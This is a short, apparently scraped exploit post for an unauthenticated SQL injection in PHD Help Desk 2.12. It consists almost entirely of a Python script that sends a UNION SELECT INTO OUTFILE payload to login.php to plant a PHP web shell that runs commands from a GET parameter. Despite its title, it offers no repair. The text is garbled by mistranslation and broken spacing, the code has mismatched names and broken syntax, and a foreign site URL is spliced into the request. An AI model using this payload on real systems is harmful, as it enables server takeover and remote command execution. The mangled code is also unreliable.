PHD Help Desk 2.12 SQL injection and repair

# Title: PHD Help Desk 2.12 SQLi # discoverer: drone (@ dronesec) # official program: http://www.p-hd.com.ar/# : http://downloads.sourceforge.net/project/phd/phd_released/phd%202.12/phd_2_12.zip# Affected Version: 2.12 # tested system: Ubuntu 12.04 (apparmor disabled) "This guy is full of SQLi & XSS. If you are looking for real web apps to practice, this is a good choice You don't need auth for this. "from argparse import ArgumentParserimport stringimport randomimport urllib, urllib2import sysdef run (options): print '[!] Dropping web shell on % s... '% (options. ip) shell = ''. join (random. choice (string. ascii_lowercase + string. digits) for x in range (5) # <? Php system ($ _ GET ["rr"]);?> Data = urllib. urlencode ({'operador' :( '\ 'Union SELECT quota'', null, null into outfile ''\ '{0}/{1 }. php '. format (options. path, shell), 'contrasenia ': 'pass', 'submit': 'enter', 'captcha ': ''}) urllib2.urlopen ('HTTP: // www.2cto.com {0} {1}/login. php '. format (options. ip, options. rootp), data) print' [!] Shell dropped. http://%s%s/%s.php?rr=ls '% (Options. ip, options. rootp, shell) def parse (): parser = ArgumentParser () parser. add_argument ('-I', help = 'server address', action = 'store', dest = 'IP') parser. add_argument ('-p', help = 'path to login. php (/phd_2_12) ', action = 'store', default ='/phd_2_12 ', dest = 'topic') parser. add_argument ('-W', help = 'writable web path (/var/www/phd_2_12) for shell', default ='/var/www/phd_2_12 /', action = 'store', dest = 'path') op Tions = parser. parse_args () if not options. ip: parser. print_help () sys. exit (1) options. path = options. path if options. path [-1]! = '/' Else options. path [:-1] options. rootp = options. rootp if options. path [-1]! = '/'Else options. path [:-1] return optionsif _ name __= = "_ main _": run (parse ())